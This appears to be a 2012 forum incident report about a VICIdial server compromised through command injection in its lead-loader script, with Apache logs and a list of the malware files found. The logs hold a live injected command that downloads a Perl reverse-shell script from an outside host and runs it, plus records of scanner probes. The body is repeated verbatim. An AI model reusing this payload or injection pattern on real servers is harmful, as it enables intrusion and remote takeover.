We were hacked: Security vulnerability in lead loader
Posted: Mon Jul 23, 2012 12:10 pm
Hi all, not sure if this has been addressed in a newer revision, but I will describe what happened to our cluster yesterday:
Yesterday we discovered a very strange activity at our firewall server - actually it was frozen suffering a kind of DOS attack.
Investigation shown that the source of this attack was one of our Telephony servers. After reboot attack stopped.
We started to examine logs. In /tmp directory we found a few files with virus content.
- dc.txt - Perl script that gives a shell access for hacker
- udp.pl - massive sendout of UDP packets
- udp.tgz - archive of udp.pl
- x.c - create a shell and try to assign UID of root to the shell
Files have owner "WWWRUN" and group "WWW"
And here are records from Apache access and error logs:
-------------------------------------
12.237.27.3 - bobh [22/Jul/2012:14:23:16 -0400] "POST /vicidial/new_listloader_superL.php HTTP/1.1" 401 45 "-" "libwww-perl/5.805"
-------------------------------------
-------------------------------------
[Sun Jul 22 14:23:23 2012] [error] [client new_listloader_superL.php] PHP Warning: fopen(cd /tmp;curl -O cox.x10.mx/.dc.txt;perl .dc.txt 12.237.27.3 45295): failed to open stream: No such fi
le or directory in /srv/www/htdocs/vicidial/new_listloader_superL.php on line 792
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 970 100 970 0 0 13624 0 --:--:-- --:--:-- --:--:-- 48500
-------------------------------------
bobh - is one of our users and he is not the hacker.
We have checked other requests, launched from ip:12.237.27.3 and here they are:
Access logs:
-------------------------------------
12.237.27.3 - - [21/Jul/2012:16:10:46 -0400] "GET /translators.html HTTP/1.1" 404 1047 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
12.237.27.3 - - [21/Jul/2012:23:22:34 -0400] "GET /phpmyadmin/translators.html HTTP/1.1" 404 1047 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
12.237.27.3 - - [22/Jul/2012:07:04:19 -0400] "GET /phpMyAdmin/translators.html HTTP/1.1" 404 1047 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
12.237.27.3 - 6666 [22/Jul/2012:14:23:23 -0400] "POST /vicidial/new_listloader_superL.php HTTP/1.1" 200 9519 "-" "libwww-perl/5.805"
12.237.27.3 - jamesa [06/Jul/2012:19:40:43 -0400] "POST /vicidial/new_listloader_superL.php HTTP/1.1" 200 9519 "-" "libwww-perl/5.805"
----------------
Error logs:
----------------
[Fri Jul 06 19:40:43 2012] [error] [client 12.237.27.3] PHP Warning: fopen(cd /tmp;curl -O cox.x10.mx/.dc.txt;perl .dc.txt 12.237.27.3 45295): failed to open stream: No such fi
le or directory in /srv/www/htdocs/vicidial/new_listloader_superL.php on line 792
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 970 100 970 0 0 12988 0 --:--:-- --:--:-- --:--:-- 26944
[Sat Jul 21 16:10:46 2012] [error] [client 12.237.27.3] File does not exist: /srv/www/htdocs/translators.html
[Sat Jul 21 23:22:34 2012] [error] [client 12.237.27.3] File does not exist: /srv/www/htdocs/phpmyadmin
[Sun Jul 22 07:04:19 2012] [error] [client 12.237.27.3] File does not exist: /srv/www/htdocs/phpMyAdmin
-------------------------------------
Apparently functionality of new_script "listloader_superL.php" permits to execute external applications.
It looks this functionality may be exploited to run malicious applications.
Here are some other strange requests that were executed in the same interval:
----------
88.191.79.63 - - [07/Jul/2012:04:28:06 -0400] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:06 -0400] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:06 -0400] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:07 -0400] "GET /pma/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:07 -0400] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:07 -0400] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
[Sat Jul 07 04:28:06 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/w00tw00t.at.blackhats.romanian.anti-sec:)
[Sat Jul 07 04:28:06 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/phpMyAdmin
[Sat Jul 07 04:28:06 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/phpmyadmin
[Sat Jul 07 04:28:07 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/pma
[Sat Jul 07 04:28:07 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/myadmin
[Sat Jul 07 04:28:07 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/MyAdmin
222.231.33.227 - - [07/Jul/2012:21:25:09 -0400] "GET HTTP/1.1 HTTP/1.1" 400 310 "-" "-"
222.231.33.227 - - [07/Jul/2012:21:25:09 -0400] "GET /tiki-8.3/htaccess.sh HTTP/1.1" 404 647 "-" "Toata dragostea mea pentru diavola"
222.231.33.227 - - [07/Jul/2012:21:25:10 -0400] "GET /tiki/htaccess.sh HTTP/1.1" 404 647 "-" "Toata dragostea mea pentru diavola"
222.231.33.227 - - [07/Jul/2012:21:25:10 -0400] "GET /htaccess.sh HTTP/1.1" 404 647 "-" "Toata dragostea mea pentru diavola"
[Sat Jul 07 21:25:09 2012] [error] [client 222.231.33.227] invalid request-URI HTTP/1.1
[Sat Jul 07 21:25:09 2012] [error] [client 222.231.33.227] File does not exist: /srv/www/htdocs/tiki-8.3
[Sat Jul 07 21:25:10 2012] [error] [client 222.231.33.227] File does not exist: /srv/www/htdocs/tiki
[Sat Jul 07 21:25:10 2012] [error] [client 222.231.33.227] File does not exist: /srv/www/htdocs/htaccess.sh
107.20.155.131 - - [07/Jul/2012:14:38:49 -0400] "HEAD /manager/status HTTP/1.1" 404 - "-" "Java/1.7.0"
[Sat Jul 07 14:38:49 2012] [error] [client 107.20.155.131] File does not exist: /srv/www/htdocs/manager
87.230.74.47 - - [08/Jul/2012:01:30:10 -0400] "GET /din.aspx?s=00000000&id=0&client=DynGate&p=10000001 HTTP/1.1" 404 1047 "-" "-"
[Sun Jul 08 01:30:10 2012] [error] [client 87.230.74.47] File does not exist: /srv/www/htdocs/din.aspx
Yesterday we discovered a very strange activity at our firewall server - actually it was frozen suffering a kind of DOS attack.
Investigation shown that the source of this attack was one of our Telephony servers. After reboot attack stopped.
We started to examine logs. In /tmp directory we found a few files with virus content.
- dc.txt - Perl script that gives a shell access for hacker
- udp.pl - massive sendout of UDP packets
- udp.tgz - archive of udp.pl
- x.c - create a shell and try to assign UID of root to the shell
Files have owner "WWWRUN" and group "WWW"
And here are records from Apache access and error logs:
-------------------------------------
12.237.27.3 - bobh [22/Jul/2012:14:23:16 -0400] "POST /vicidial/new_listloader_superL.php HTTP/1.1" 401 45 "-" "libwww-perl/5.805"
-------------------------------------
-------------------------------------
[Sun Jul 22 14:23:23 2012] [error] [client new_listloader_superL.php] PHP Warning: fopen(cd /tmp;curl -O cox.x10.mx/.dc.txt;perl .dc.txt 12.237.27.3 45295): failed to open stream: No such fi
le or directory in /srv/www/htdocs/vicidial/new_listloader_superL.php on line 792
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 970 100 970 0 0 13624 0 --:--:-- --:--:-- --:--:-- 48500
-------------------------------------
bobh - is one of our users and he is not the hacker.
We have checked other requests, launched from ip:12.237.27.3 and here they are:
Access logs:
-------------------------------------
12.237.27.3 - - [21/Jul/2012:16:10:46 -0400] "GET /translators.html HTTP/1.1" 404 1047 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
12.237.27.3 - - [21/Jul/2012:23:22:34 -0400] "GET /phpmyadmin/translators.html HTTP/1.1" 404 1047 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
12.237.27.3 - - [22/Jul/2012:07:04:19 -0400] "GET /phpMyAdmin/translators.html HTTP/1.1" 404 1047 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
12.237.27.3 - 6666 [22/Jul/2012:14:23:23 -0400] "POST /vicidial/new_listloader_superL.php HTTP/1.1" 200 9519 "-" "libwww-perl/5.805"
12.237.27.3 - jamesa [06/Jul/2012:19:40:43 -0400] "POST /vicidial/new_listloader_superL.php HTTP/1.1" 200 9519 "-" "libwww-perl/5.805"
----------------
Error logs:
----------------
[Fri Jul 06 19:40:43 2012] [error] [client 12.237.27.3] PHP Warning: fopen(cd /tmp;curl -O cox.x10.mx/.dc.txt;perl .dc.txt 12.237.27.3 45295): failed to open stream: No such fi
le or directory in /srv/www/htdocs/vicidial/new_listloader_superL.php on line 792
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 970 100 970 0 0 12988 0 --:--:-- --:--:-- --:--:-- 26944
[Sat Jul 21 16:10:46 2012] [error] [client 12.237.27.3] File does not exist: /srv/www/htdocs/translators.html
[Sat Jul 21 23:22:34 2012] [error] [client 12.237.27.3] File does not exist: /srv/www/htdocs/phpmyadmin
[Sun Jul 22 07:04:19 2012] [error] [client 12.237.27.3] File does not exist: /srv/www/htdocs/phpMyAdmin
-------------------------------------
Apparently functionality of new_script "listloader_superL.php" permits to execute external applications.
It looks this functionality may be exploited to run malicious applications.
Here are some other strange requests that were executed in the same interval:
----------
88.191.79.63 - - [07/Jul/2012:04:28:06 -0400] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:06 -0400] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:06 -0400] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:07 -0400] "GET /pma/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:07 -0400] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
88.191.79.63 - - [07/Jul/2012:04:28:07 -0400] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 647 "-" "ZmEu"
[Sat Jul 07 04:28:06 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/w00tw00t.at.blackhats.romanian.anti-sec:)
[Sat Jul 07 04:28:06 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/phpMyAdmin
[Sat Jul 07 04:28:06 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/phpmyadmin
[Sat Jul 07 04:28:07 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/pma
[Sat Jul 07 04:28:07 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/myadmin
[Sat Jul 07 04:28:07 2012] [error] [client 88.191.79.63] File does not exist: /srv/www/htdocs/MyAdmin
222.231.33.227 - - [07/Jul/2012:21:25:09 -0400] "GET HTTP/1.1 HTTP/1.1" 400 310 "-" "-"
222.231.33.227 - - [07/Jul/2012:21:25:09 -0400] "GET /tiki-8.3/htaccess.sh HTTP/1.1" 404 647 "-" "Toata dragostea mea pentru diavola"
222.231.33.227 - - [07/Jul/2012:21:25:10 -0400] "GET /tiki/htaccess.sh HTTP/1.1" 404 647 "-" "Toata dragostea mea pentru diavola"
222.231.33.227 - - [07/Jul/2012:21:25:10 -0400] "GET /htaccess.sh HTTP/1.1" 404 647 "-" "Toata dragostea mea pentru diavola"
[Sat Jul 07 21:25:09 2012] [error] [client 222.231.33.227] invalid request-URI HTTP/1.1
[Sat Jul 07 21:25:09 2012] [error] [client 222.231.33.227] File does not exist: /srv/www/htdocs/tiki-8.3
[Sat Jul 07 21:25:10 2012] [error] [client 222.231.33.227] File does not exist: /srv/www/htdocs/tiki
[Sat Jul 07 21:25:10 2012] [error] [client 222.231.33.227] File does not exist: /srv/www/htdocs/htaccess.sh
107.20.155.131 - - [07/Jul/2012:14:38:49 -0400] "HEAD /manager/status HTTP/1.1" 404 - "-" "Java/1.7.0"
[Sat Jul 07 14:38:49 2012] [error] [client 107.20.155.131] File does not exist: /srv/www/htdocs/manager
87.230.74.47 - - [08/Jul/2012:01:30:10 -0400] "GET /din.aspx?s=00000000&id=0&client=DynGate&p=10000001 HTTP/1.1" 404 1047 "-" "-"
[Sun Jul 08 01:30:10 2012] [error] [client 87.230.74.47] File does not exist: /srv/www/htdocs/din.aspx